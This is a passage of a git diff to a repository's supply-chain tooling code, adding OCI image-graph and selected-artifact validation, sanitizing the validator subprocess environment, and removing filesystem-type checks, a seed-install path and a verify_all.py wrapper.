selectors.pop(), consumer_prefix) - - -def _literal_consumer_failures( - repo_root: Path, - tracked_paths: Sequence[str], - selector_id: str, - selector: str, - consumer_prefix: str, -) -> list[PolicyFailure]: - consumer_pattern = re.compile(re.escape(consumer_prefix) + r"([A-Za-z0-9._+-]+)") - suffixes = {".bash", ".md", ".py", ".sh", ".toml", ".yaml", ".yml"} - failures: list[PolicyFailure] = [] - for path in tracked_paths: - if Path(path).suffix not in suffixes and Path(path).name != "Makefile": - continue - text = safe_text(repo_root, path) - if text is not None and any(value != selector for value in consumer_pattern.findall(text)): - failures.append( - failure( - "tooling-selector-drift", - f"{selector_id} literal differs from its authority", - path, - ) - ) - return failures - - -def _tracked_literal_failures( - repo_root: Path, - bindings: Mapping[str, Any], - tracked_paths: Sequence[str], -) -> list[PolicyFailure]: - failures: list[PolicyFailure] = [] - seen_ids: set[str] = set() - for literal_value in as_list(bindings.get("tracked_literals")): - literal = as_mapping(literal_value) - selector_id = literal.get("selector_id") - if isinstance(selector_id, str) and selector_id in seen_ids: - failures.append( - failure( - "tooling-selector-binding-duplicate", - "duplicate tracked literal binding", - SELECTOR_BINDINGS_PATH, - ) - ) - if isinstance(selector_id, str): - seen_ids.add(selector_id) - failures.extend(_tracked_literal_failure(repo_root, tracked_paths, literal)) - return failures - - def selector_failures( repo_root: Path, documents: Mapping[str, dict[str, Any]], tracked_paths: Sequence[str], - python_scans: Mapping[str, PythonScan | None], ) -> list[PolicyFailure]: - """Validate fixed literals and every tracked runtime lock-selection call.""" + """Check the retained literal projections of reviewed tool versions.""" + del tracked_paths lock = documents.get(ARTIFACT_LOCK_PATH) bindings = documents.get(SELECTOR_BINDINGS_PATH) if lock is None or bindings is None: return [] - failures = _binding_failures(repo_root, bindings, _locked_versions(lock)) - failures.extend( - _runtime_selection_failures( - lock, - bindings, - tracked_paths, - python_scans, - documents.get(ACTIONS_POLICY_PATH) or {}, - ) - ) - failures.extend(_tracked_literal_failures(repo_root, bindings, tracked_paths)) - return failures + return _binding_failures(repo_root, bindings, _locked_versions(lock)) diff --git a/tools/tooling_artifact_selection.py b/tools/tooling_artifact_selection.py new file mode 100644 index 000000000..2210ad016 --- /dev/null +++ b/tools/tooling_artifact_selection.py @@ -0,0 +1,106 @@ +"""Selected input validation, independent of repository-wide policy checks.""" + +from __future__ import annotations + +from collections.abc import Mapping +from pathlib import Path +from typing import Any + +from tools.tooling_artifact_policy_artifacts import artifact_failures +from tools.tooling_artifact_policy_common import ( + ADMISSION_POLICY_PATH, + ARTIFACT_LOCK_PATH, + PROFILES_PATH, + as_list, + normalize_platform_id, + read_tooling_document, + string_set, + validate_tooling_record, +) + + +def _selected_artifact( + lock: dict[str, Any], artifact_id: str, platform_id: str, host_profile_id: str | None +) -> dict[str, Any]: + matches = [item for item in lock["artifacts"] if item["artifact_id"] == artifact_id] + if len(matches) != 1: + raise ValueError("selected artifact or dependency must resolve to exactly one lock entry") + artifact = matches[0] + platforms = [ + item + for item in artifact["platforms"] + if normalize_platform_id(item["platform_id"]) == normalize_platform_id(platform_id) + and (host_profile_id is None or not item.get("host_profile_ids") or host_profile_id in item["host_profile_ids"]) + ] + if len(platforms) != 1: + raise ValueError("selected artifact platform must resolve to exactly one lock entry") + return {**artifact, "platforms": platforms} + + +def _selected_profiles( + repo_root: Path, profiles: dict[str, Any], selected: dict[str, dict[str, Any]] +) -> list[dict[str, Any]]: + profile_ids = { + profile_id + for artifact in selected.values() + for platform in artifact["platforms"] + for profile_id in platform["profile_ids"] + } + selected_profiles = [] + for profile_id in sorted(profile_ids): + matches = [ + item + for item in as_list(profiles.get("profiles")) + if isinstance(item, Mapping) and item.get("profile_id") == profile_id + ] + if len(matches) != 1: + raise ValueError("selected artifact profile must resolve to exactly one entry") + profile = matches[0] + validate_tooling_record(repo_root, profile, PROFILES_PATH, definition="artifactProfile") + selected_profiles.append( + { + **profile, + "supported_artifact_ids": sorted(string_set(profile.get("supported_artifact_ids")) & selected.keys()), + } + ) + return selected_profiles + + +def selected_artifact_documents( + repo_root: Path, + artifact_ids: set[str], + platform_id: str, + *, + host_profile_id: str | None = None, + profiles: dict[str, Any] | None = None, +) -> dict[str, dict[str, Any]]: + """Validate the selected platform's inputs and transitive dependencies. + + The lock is read once. Its shape is checked before projection, while the + existing semantic validator operates on only the selected dependency set. + Qualification records and other repository configuration are not inputs. + """ + + lock = read_tooling_document(repo_root, ARTIFACT_LOCK_PATH) + validate_tooling_record(repo_root, lock, ARTIFACT_LOCK_PATH) + admission = read_tooling_document(repo_root, ADMISSION_POLICY_PATH) + validate_tooling_record(repo_root, admission, ADMISSION_POLICY_PATH) + profiles = profiles if profiles is not None else read_tooling_document(repo_root, PROFILES_PATH) + selected: dict[str, dict[str, Any]] = {} + pending = set(artifact_ids) + while pending: + artifact_id = pending.pop() + artifact = _selected_artifact(lock, artifact_id, platform_id, host_profile_id) + selected[artifact_id] = artifact + pending.update(string_set(artifact["platforms"][0].get("dependencies")) - selected.keys()) + documents = { + ARTIFACT_LOCK_PATH: {**lock, "artifacts": list(selected.values())}, + PROFILES_PATH: {"profiles": _selected_profiles(repo_root, profiles, selected)}, + ADMISSION_POLICY_PATH: admission, + } + failures = artifact_failures(repo_root, documents) + if failures: + raise ValueError( + "selected artifact integrity policy is invalid: " + ", ".join(sorted({f.rule_id for f in failures})) + ) + return documents diff --git a/tools/tooling_oci_selection.py b/tools/tooling_oci_selection.py new file mode 100644 index 000000000..565b11ab2 --- /dev/null +++ b/tools/tooling_oci_selection.py @@ -0,0 +1,110 @@ +"""Closed projection of a locked OCI image's per-platform object graph. + +An index-only image has no graph; an export-bearing one is refused by the +artifact-policy gate before selection unless it carries a complete graph, so a +value that reaches here is already coherent. This module only validates the +response shape the frozen validator returned, before any client runs. + +It lives beside `tooling_installed_tree`, the equivalent projection for an +extracted installed tree, so the selection gate stays a thin assembler. +""" + +from __future__ import annotations + +import re +from dataclasses import dataclass + +OCI_DIGEST_PATTERN = re.compile(r"sha256:[0-9a-f]{64}") + +INVALID_SELECTION_RESPONSE = "development artifact policy failed before acquisition: invalid selection response" + + +@dataclass(frozen=True) +class LockedOciDescriptor: + digest: str + size: int + + +@dataclass(frozen=True) +class LockedOciGraph: + """One platform's reviewed index-to-layer object graph.""" + + index: LockedOciDescriptor + manifest: LockedOciDescriptor + config: LockedOciDescriptor + layers: tuple[LockedOciDescriptor, ...] + diff_ids: tuple[str, ...] + architecture: str + os: str + variant: str | None = None + + +def _refuse() -> RuntimeError: + return RuntimeError(INVALID_SELECTION_RESPONSE) + + +def _is_digest(value: object) -> bool: + return isinstance(value, str) and OCI_DIGEST_PATTERN.fullmatch(value) is not None + + +def locked_oci_descriptor(value: object) -> LockedOciDescriptor: + """Project one content descriptor, or refuse the whole response.""" + + if not isinstance(value, dict): + raise _refuse() + digest, size = value.get("digest"), value.get("size") + if not _is_digest(digest) or not isinstance(size, int) or isinstance(size, bool) or size < 1: + raise _refuse() + assert isinstance(digest, str) + return LockedOciDescriptor(digest=digest, size=size) + + +def _locked_diff_ids(value: object) -> tuple[str, ...]: + if not isinstance(value, list) or not value or not all(_is_digest(item) for item in value): + raise _refuse() + return tuple(value) + + +def _locked_layers(value: object) -> tuple[LockedOciDescriptor, ...]: + if not isinstance(value, list) or not value: + raise _refuse() + return tuple(locked_oci_descriptor(layer) for layer in value) + + +def _locked_platform_identity(graph: dict[str, object]) -> tuple[str, str, str | None]: + architecture, operating_system, variant = graph.get("architecture"), graph.get("os"), graph.get("variant") + named = isinstance(architecture, str) and architecture and isinstance(operating_system, str) and operating_system + if not named or not (variant is None or (isinstance(variant, str) and variant)): + raise _refuse() + assert isinstance(architecture, str) and isinstance(operating_system, str) + return architecture, operating_system, variant + + +def locked_oci_graph(value: object) -> LockedOciGraph | None: + """Project a validated platform graph, or None for an index-only image.""" + + if value is None: + return None + if not isinstance(value, dict): + raise _refuse() + architecture, operating_system, variant = _locked_platform_identity(value) + return LockedOciGraph( + index=locked_oci_descriptor(value.get("index")), + manifest=locked_oci_descriptor(value.get("manifest")), + config=locked_oci_descriptor(value.get("config")), + layers=_locked_layers(value.get("layers")), + diff_ids=_locked_diff_ids(value.get("diff_ids")), + architecture=architecture, + os=operating_system, + variant=variant, + ) + + +__all__ = [ + "INVALID_SELECTION_RESPONSE", + "OCI_DIGEST_PATTERN", + "LockedOciDescriptor", + "LockedOciGraph", + "locked_oci_descriptor", + "locked_oci_graph", +] diff --git a/tools/tooling_policy_gate.py b/tools/tooling_policy_gate.py index 42c3dcc02..2e4cbb2e1 100644 --- a/tools/tooling_policy_gate.py +++ b/tools/tooling_policy_gate.py @@ -3,6 +3,7 @@ from __future__ import annotations import json +import os import platform import re import shutil @@ -12,7 +13,12 @@ from dataclasses import dataclass from pathlib import Path, PurePosixPath -from tools.tooling_installed_tree import SHA256_PATTERN, LockedInstalledTree, locked_installed_tree +from tools.tooling_installed_tree import ( + SHA256_PATTERN, + LockedInstalledTree, + locked_installed_tree, +) +from tools.tooling_oci_selection import LockedOciGraph, locked_oci_graph REPO_ROOT = Path(__file__).resolve().parents[1] _VALIDATOR_TIMEOUT_SECONDS = 180 @@ -44,6 +50,10 @@ class LockedArtifactSelection: installed_identity: tuple[tuple[str, str], ...] = () locator_refs: tuple[str, ...] = () installed_tree: LockedInstalledTree | None = None + oci_graph: LockedOciGraph | None = None + # The logical asset the reviewed release digest lives in. For an OCI image + # that is the registry repository; `repository` stays the project's own URL. + asset: str = "" def _is_portable_manifest_path(path: str) -> bool: @@ -165,6 +175,18 @@ def _current_interpreter_validator_command(policy_root: Path) -> list[str]: return [str(validator_python), str(validator)] +def _validator_environment() -> dict[str, str]: + """Pass process essentials, never ambient credentials or Python overrides.""" + environment = {key: os.environ[key] for key in ("HOME", "PATH", "TMPDIR", "UV_CACHE_DIR") if key in os.environ} + environment.update( + LC_ALL="C", + LANG="C", + UV_PYTHON_DOWNLOADS="never", + UV_DEFAULT_INDEX="https://pypi.org/simple", + ) + return environment + + def _validator_stdout( validator_command: list[str], *, @@ -187,6 +209,8 @@ def _validator_stdout( profile_id, ], cwd=REPO_ROOT, + env=_validator_environment(), + stdin=subprocess.DEVNULL, text=True, capture_output=True, check=False, @@ -197,8 +221,7 @@ def _validator_stdout( "development artifact policy failed before acquisition: the frozen project validator could not complete" ) from exc if proc.returncode != 0: - details = proc.stderr.strip() or "the frozen project validator rejected the selection" - raise RuntimeError(f"development artifact policy failed before acquisition:\n{details}") + raise RuntimeError("development artifact policy failed before acquisition: selection rejected") from None return proc.stdout @@ -207,6 +230,8 @@ def _validator_host_stdout(validator_command: list[str], *, host_profile_id: str proc = subprocess.run( [*validator_command, "--select-host-profile", host_profile_id], cwd=REPO_ROOT, + env=_validator_environment(), + stdin=subprocess.DEVNULL, text=True, capture_output=True, check=False, @@ -217,8 +242,7 @@ def _validator_host_stdout(validator_command: list[str], *, host_profile_id: str "development artifact policy failed before acquisition: the frozen project validator could not complete" ) from exc if proc.returncode != 0: - details = proc.stderr.strip() or "the frozen project validator rejected the host selection" - raise RuntimeError(f"development artifact policy failed before acquisition:\n{details}") + raise RuntimeError("development artifact policy failed before acquisition: selection rejected") from None return proc.stdout @@ -266,8 +290,10 @@ def _selection_from_document( # NOSONAR -- closed-schema validation is intentio if artifact_class == "oci-image": installed_identity = _locked_installed_identity(platform["installed_identity"]) installed_manifest: tuple[LockedManifestEntry, ...] = () + oci_graph = locked_oci_graph(platform.get("oci_graph")) else: installed_identity = () + oci_graph = None installed_values = platform["installed_manifest"] if not isinstance(installed_values, list): raise TypeError @@ -287,6 +313,8 @@ def _selection_from_document( # NOSONAR -- closed-schema validation is intentio installed_identity=installed_identity, locator_refs=tuple(locator_refs), installed_tree=locked_installed_tree(platform.get("installed_tree")), + oci_graph=oci_graph, + asset=source["asset"], ) selected_profile_ids = platform["profile_ids"] except (KeyError, TypeError) as exc: @@ -314,6 +342,7 @@ def _selection_is_valid( selection.platform_id, selection.repository, selection.release, + selection.asset, selection.artifact_class, *selection.source_urls, *selection.policy_refs, diff --git a/tools/vale_tool.py b/tools/vale_tool.py index 693a7f870..b45253de1 100644 --- a/tools/vale_tool.py +++ b/tools/vale_tool.py @@ -19,7 +19,6 @@ def ensure_vale( version: str = VALE_VERSION, local_input: Path | None = None, installation_root: Path | None = None, - immutable_seed_root: Path | None = None, ) -> Path: from tools.tooling_policy_gate import ( host_platform_id, @@ -48,5 +47,4 @@ def ensure_vale( materialize=installation.materialize_tar_gz, legacy_path=vale_binary_path(repo_root, version=version), installation_root=installation_root, - immutable_seed_root=immutable_seed_root, ) diff --git a/tools/verified_tool_installation.py b/tools/verified_tool_installation.py index 47425a627..bd121e150 100644 --- a/tools/verified_tool_installation.py +++ b/tools/verified_tool_installation.py @@ -30,21 +30,6 @@ MAX_ARCHIVE_MEMBER_BYTES = 256 * 1024 * 1024 MAX_ARCHIVE_EXPANDED_BYTES = 512 * 1024 * 1024 LOCK_TIMEOUT_SECONDS = 120 -_QUALIFIED_FILESYSTEMS = frozenset( - { - "apfs", - "btrfs", - "ext2", - "ext3", - "ext4", - "hfs", - "hfsplus", - "overlay", - "tmpfs", - "xfs", - "zfs", - } -) class ManifestEntry(Protocol): @@ -163,18 +148,25 @@ def _executable_entry(selection: ArtifactSelection) -> ManifestEntry: return next(entry for entry in selection.installed_manifest if entry.executable) -def _validate_archive_shape(members: list[tarfile.TarInfo]) -> None: # NOSONAR -- explicit archive limits fail closed. +def _archive_member_path(member: tarfile.TarInfo, seen: set[PurePosixPath], files: set[PurePosixPath]) -> PurePosixPath: + path = _portable_path(member.name) + if path in seen: + raise RuntimeError("tool-installation: duplicate-archive-member") + if any(parent in files for parent in path.parents) or any(path in existing.parents for existing in seen): + raise RuntimeError("tool-installation: conflicting-archive-member") + return path + + +def _validate_archive_shape( + members: list[tarfile.TarInfo], +) -> None: # NOSONAR -- explicit archive limits fail closed. if len(members) > MAX_ARCHIVE_MEMBERS: raise RuntimeError("tool-installation: archive-member-limit") seen: set[PurePosixPath] = set() files: set[PurePosixPath] = set() total = 0 for member in members: - path = _portable_path(member.name) - if path in seen: - raise RuntimeError("tool-installation: duplicate-archive-member") - if any(parent in files for parent in path.parents) or any(path in existing.parents for existing in seen): - raise RuntimeError("tool-installation: conflicting-archive-member") + path = _archive_member_path(member, seen, files) if not (member.isfile() or member.isdir()) or getattr(member, "sparse", None): raise RuntimeError("tool-installation: unsafe-archive-member") if member.size < 0 or member.size > MAX_ARCHIVE_MEMBER_BYTES: @@ -245,80 +237,6 @@ def _validate_raw_bytes(raw_bytes: object, selection: ArtifactSelection) -> byte return raw_bytes -def _decode_mount_path(value: str) -> str: - return value.replace("\\040", " ").replace("\\011", "\t").replace("\\012", "\n").replace("\\134", "\\") - - -def _filesystem_type(path: Path) -> str: # NOSONAR -- Linux and Darwin parsers deliberately fail closed. - """Return a stable local filesystem type without consulting ambient config.""" - - existing = path - while not existing.exists(): - if existing == existing.parent: - raise RuntimeError("tool-installation: unsupported-filesystem") # NOSONAR -- stable reason code. - existing = existing.parent - canonical = existing.resolve() - if platform.system() == "Linux": - try: - lines = Path("/proc/self/mountinfo").read_text(encoding="utf-8").splitlines() - except (OSError, UnicodeError) as exc: - raise RuntimeError("tool-installation: unsupported-filesystem") from exc - candidates: list[tuple[int, str]] = [] - for line in lines: - before, separator, after = line.partition(" - ") - fields = before.split() - trailing = after.split() - if not separator or len(fields) < 5 or not trailing: - continue - mount = Path(_decode_mount_path(fields[4])) - try: - canonical.relative_to(mount) - except ValueError: - continue - candidates.append((len(mount.parts), trailing[0])) - if candidates: - return max(candidates)[1].lower() - raise RuntimeError("tool-installation: unsupported-filesystem") - if platform.system() == "Darwin": - try: - completed = subprocess.run( - ["/sbin/mount"], - check=True, - capture_output=True, - env={"LC_ALL": "C", "PATH": "/usr/bin:/bin:/usr/sbin:/sbin"}, - text=True, - timeout=10, - ) - if not isinstance(completed.stdout, str) or len(completed.stdout.encode("utf-8")) > 1024 * 1024: - raise ValueError("mount response exceeds the admission bound") - candidates = [] - for line in completed.stdout.splitlines(): - _device, on_separator, mounted = line.partition(" on ") - mount_value, options_separator, options = mounted.rpartition(" (") - if not on_separator or not options_separator or not options.endswith(")"): - continue - filesystem_type = options[:-1].partition(",")[0].strip() - if not filesystem_type: - continue - mount = Path(_decode_mount_path(mount_value)) - try: - canonical.relative_to(mount) - except ValueError: - continue - candidates.append((len(mount.parts), filesystem_type)) - if not candidates: - raise ValueError("mount response has no matching filesystem") - except (OSError, ValueError, subprocess.SubprocessError) as exc: - raise RuntimeError("tool-installation: unsupported-filesystem") from exc - return max(candidates)[1].lower() - raise RuntimeError("tool-installation: unsupported-filesystem") - - -def _require_qualified_filesystem(path: Path) -> None: - if _filesystem_type(path) not in _QUALIFIED_FILESYSTEMS: - raise RuntimeError("tool-installation: unsupported-filesystem") - - def _lstat(path: Path) -> os.stat_result | None: try: return path.lstat() @@ -472,10 +390,7 @@ def _read_verified_file( # NOSONAR -- paired before/open/after checks resist su permissions = before.st_mode & 0o777 expected_mode = 0o500 if entry.executable else 0o400 owner_ok = before.st_uid == os.geteuid() - if mode == "seed": - owner_ok = before.st_uid in {0, os.geteuid()} - mode_ok = not permissions & 0o222 and (not entry.executable or bool(permissions & 0o111)) - elif mode == "legacy": + if mode == "legacy": # Version-keyed caches were created under the user's umask; a group # write bit is a risk only when that group admits another principal. mode_ok = not _cross_principal_writable(before) and (not entry.executable or bool(permissions & 0o100)) @@ -534,8 +449,8 @@ def _validate_tree( # NOSONAR -- the full tree shape and every leaf are checked if not stat.S_ISDIR(state.st_mode) or tree.is_symlink(): raise RuntimeError("tool-installation: tree-integrity-failure") # NOSONAR -- stable reason code. permissions = state.st_mode & 0o777 - valid_owners = {0, os.geteuid()} if mode == "seed" else {os.geteuid()} - if state.st_uid not in valid_owners or (mode == "seed" and permissions & 0o222): + valid_owners = {os.geteuid()} + if state.st_uid not in valid_owners: raise RuntimeError("tool-installation: tree-integrity-failure") if mode == "installed" and permissions != 0o500: raise RuntimeError("tool-installation: tree-integrity-failure") @@ -557,8 +472,6 @@ def _validate_tree( # NOSONAR -- the full tree shape and every leaf are checked raise RuntimeError("tool-installation: tree-integrity-failure") if mode == "staged" and child_permissions != 0o700: raise RuntimeError("tool-installation: tree-integrity-failure") - if mode == "seed" and child_permissions & 0o222: - raise RuntimeError("tool-installation: tree-integrity-failure") actual_directories.add(child.relative_to(tree).as_posix()) actual_files.update((current_path / name).relative_to(tree).as_posix() for name in files) expected_files = {entry.path for entry in entries} @@ -567,21 +480,24 @@ def _validate_tree( # NOSONAR -- the full tree shape and every leaf are checked return {entry.path: _read_verified_file(tree / entry.path, entry, mode=mode) for entry in entries} -def _make_quarantine_non_executable(path: Path) -> None: # NOSONAR -- every file type fails non-executable. +def _chmod_non_symlink_children(parent: Path, names: list[str], permissions: int) -> None: + for name in names: + child = parent / name + if not child.is_symlink(): + child.chmod(permissions) + + +def _make_quarantine_non_executable( + path: Path, +) -> None: # NOSONAR -- every file type fails non-executable. state = _lstat(path) if state is None or path.is_symlink(): return if path.is_dir(): for current, directories, files in os.walk(path, topdown=False, followlinks=False): current_path = Path(current) - for name in files: - child = current_path / name - if not child.is_symlink(): - child.chmod(0o600) - for name in directories: - child = current_path / name - if not child.is_symlink(): - child.chmod(0o700) + _chmod_non_symlink_children(current_path, files, 0o600) + _chmod_non_symlink_children(current_path, directories, 0o700) current_path.chmod(0o700) elif stat.S_ISREG(state.st_mode): path.chmod(0o600) @@ -616,7 +532,13 @@ def _portable_lock(path: Path, timeout: float | None = None) -> Iterator[None]: if existing is not None and not _private_lock_state(existing, exact_mode=False): raise RuntimeError("tool-installation: unsafe-lock-file") wait_seconds = LOCK_TIMEOUT_SECONDS if timeout is None else timeout - lock = FileLock(path, timeout=wait_seconds, mode=0o600, fallback_to_soft=False, preserve_lock_file=True) + lock = FileLock( + path, + timeout=wait_seconds, + mode=0o600, + fallback_to_soft=False, + preserve_lock_file=True, + ) try: with lock: if not _private_lock_state(path.lstat(), exact_mode=True): @@ -777,25 +699,6 @@ def _legacy_carrier( return {selection.installed_manifest[0].path: payload} -def _assert_immutable_seed_chain(seed_root: Path, seed_tree: Path) -> None: - try: - relative = seed_tree.relative_to(seed_root) - except ValueError as exc: - raise RuntimeError("tool-installation: seed-integrity-failure") from exc # NOSONAR -- stable reason code. - current = seed_root - for part in ("", *relative.parts): - if part: - current /= part - state = current.lstat() - if ( - current.is_symlink() - or not stat.S_ISDIR(state.st_mode) - or state.st_uid not in {0, os.geteuid()} - or state.st_mode & 0o222 - ): - raise RuntimeError("tool-installation: seed-integrity-failure") - - def _validated_existing_or_quarantine( target: Path, selection: ArtifactSelection, @@ -817,12 +720,10 @@ def _ensure_verified_installation( # NOSONAR -- lock/recovery branches are expl materialize: Callable[[bytes, ArtifactSelection], Mapping[str, bytes]], legacy_path: Path | None = None, installation_root: Path | None = None, - immutable_seed_root: Path | None = None, ) -> Path: """Return one fully admitted executable from a private installed tree.""" install_root = installation_root or default_installation_root(repo_root) - _require_qualified_filesystem(install_root) target = installation_tree_path(install_root, selection) artifact_root = install_root / selection.artifact_id lock_root = artifact_root / ".locks" @@ -855,14 +756,6 @@ def _ensure_verified_installation( # NOSONAR -- lock/recovery branches are expl if legacy_materialized is not None: materialized = legacy_materialized - elif immutable_seed_root is not None: - _require_qualified_filesystem(immutable_seed_root) - seed_tree = installation_tree_path(immutable_seed_root, selection) - try: - _assert_immutable_seed_chain(immutable_seed_root, seed_tree) - materialized = _validate_tree(seed_tree, selection.installed_manifest, mode="seed") - except (OSError, RuntimeError): - raise RuntimeError("tool-installation: seed-integrity-failure") from None else: raw_bytes = _validate_raw_bytes(acquire(), selection) materialized = materialize(raw_bytes, selection) @@ -879,7 +772,6 @@ def ensure_verified_installation( materialize: Callable[[bytes, ArtifactSelection], Mapping[str, bytes]], legacy_path: Path | None = None, installation_root: Path | None = None, - immutable_seed_root: Path | None = None, ) -> Path: """Return one fully admitted executable without leaking filesystem details.""" @@ -893,7 +785,6 @@ def ensure_verified_installation( materialize=materialize, legacy_path=legacy_path, installation_root=install_root, - immutable_seed_root=immutable_seed_root, ) except RuntimeError: raise diff --git a/tools/verified_tree_installation.py b/tools/verified_tree_installation.py index 16e593c26..7fbf55213 100644 --- a/tools/verified_tree_installation.py +++ b/tools/verified_tree_installation.py @@ -295,7 +295,6 @@ def _ensure_tree( acquire_raw: Callable[[Path], None], legacy: LegacyTreeInputs | None, ) -> Path: - installation._require_qualified_filesystem(install_root) target = tree_installation_path(install_root, selection) raw_parent = _raw_parent(install_root, selection) artifact_root = install_root / selection.artifact_id @@ -360,7 +359,6 @@ def require_verified_tree_installation( try: install_root = installation_root or installation.default_installation_root(repo_root) with installation._private_root_guard(repo_root, install_root): - installation._require_qualified_filesystem(install_root) target = tree_installation_path(install_root, selection) if not installation._tree_present(target): raise _failure("installation-missing") diff --git a/tools/verify_all.py b/tools/verify_all.py deleted file mode 100644 index e20856488..000000000 --- a/tools/verify_all.py +++ /dev/null @@ -1,61 +0,0 @@ -#!/usr/bin/env python3 -# ruff: noqa: E402, I001 -from __future__ import annotations - -import argparse -import sys -import subprocess - -from pathlib import Path - -REPO_ROOT = Path(__file__).resolve().parents[1] -if str(REPO_ROOT) not in sys.path: - sys.path.insert(0, str(REPO_ROOT)) - -from tools.python_closure_profiles import frozen_tool_command - - -def parse_args() -> argparse.Namespace: - parser = argparse.ArgumentParser(description="Run repo policy and requirement governance checks.") - parser.add_argument("--staged", action="store_true", help="Check staged changes.") - parser.add_argument("--base-rev", help="Compare against a specific git revision.") - parser.add_argument("--requirement-uid", help="Explicit requirement UID override.") - parser.add_argument( - "--skip-requirement", - action="store_true", - help="Skip Ground Control-backed requirement governance.", - ) - return parser.parse_args() - - -def run(args: list[str]) -> int: - proc = subprocess.run(args) - return proc.returncode - - -def main() -> int: - args = parse_args() - forwarded: list[str] = [] - if args.staged: - forwarded.append("--staged") - if args.base_rev: - forwarded.extend(["--base-rev", args.base_rev]) - if args.skip_requirement: - forwarded.append("--skip-requirement") - if args.requirement_uid: - forwarded.extend(["--requirement-uid", args.requirement_uid]) - - command = [ - *frozen_tool_command(REPO_ROOT, "nox"), - "-f", - "noxfile.py", - "-s", - "verify", - ] - if forwarded: - command.extend(["--", *forwarded]) - return run(command) - - -if __name__ == "__main__": - raise SystemExit(main())